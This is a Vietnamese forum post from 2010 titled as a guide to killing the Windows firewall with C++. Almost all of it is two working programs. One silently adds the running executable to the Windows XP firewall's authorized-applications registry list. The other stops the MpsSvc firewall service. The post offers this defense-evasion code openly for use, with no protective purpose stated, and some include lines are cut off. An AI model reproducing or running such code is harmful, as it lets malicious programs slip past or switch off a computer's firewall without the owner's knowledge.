itprofes
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.

Hướng Dẫn Kill tường lửa của windows bằng C++

Go down

Hướng Dẫn Kill tường lửa của windows bằng C++ Empty Hướng Dẫn Kill tường lửa của windows bằng C++

Bài gửi  admin 1/4/2010, 2:30 pm

1. Tác động đến Registry :

Code :

Code:
#define WIN32_LEAN_AND_MEAN
#include
#include
using namespace std;

char fwAuthApp[1024];

char* GetRegKey()
{
HKEY hk = 0;

RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&hk);
int i;
DWORD sz = 4;

if (RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i,&sz) == ERROR_SUCCESS)
{
sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);
}
RegCloseKey(hk);
return fwAuthApp;
}

void AddException(string path)
{
HKEY hk;
DWORD dw;

string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";

RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
GetRegKey(),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&hk,
&dw
);

RegSetValueExA(
hk,
path.c_str(),
0,
REG_SZ,
(BYTE*)skey.c_str(),
(DWORD)skey.length()
);

RegCloseKey(hk);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char *CmdLineA, *Location;

CmdLineA = GetCommandLineA();
Location = CmdLineA + 1;
Location[strlen(Location)-2] = 0;
AddException(Location);
return 0;
}

2. Kill File driver :

Code:
#include
#include

int WFDisable( );

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
int wf;
TCHAR s[20];
wf = WFDisable( );
if( wf == 0 ) {
MessageBoxA(0,"success","Coder_gate",0);
}
else {
sprintf(s,"Error %d",wf);
MessageBoxA(0,s,"Coder_gate",0);
}
return 0;
}

int WFDisable()
{
SERVICE_STATUS sStatus;

SC_HANDLE hManager = OpenSCManager( NULL, NULL, 0xF003F );
if( hManager == NULL ) {
return( 1 );
}
SC_HANDLE hService = OpenService( hManager, (const char*)"MpsSvc", SERVICE_ALL_ACCESS );
if( hService == NULL ) {
return( 2 );
}
BOOL bControl = ControlService( hService, SERVICE_CONTROL_STOP, &sStatus );
if( bControl == 0 )
{
return( 3 );
}
CloseServiceHandle( hManager );
CloseServiceHandle( hService );
return( 0 );
}
admin
admin
Thiếu Úy III
Thiếu Úy III

Tổng số bài gửi : 627
Diem : 6547
Thank : 4
Join date : 24/03/2010
Đến từ : Bỉm Sơn - Thanh hóa

https://itprofes.forumvi.com

Về Đầu Trang Go down

Về Đầu Trang

- Similar topics

 
Permissions in this forum:
Bạn không có quyền trả lời bài viết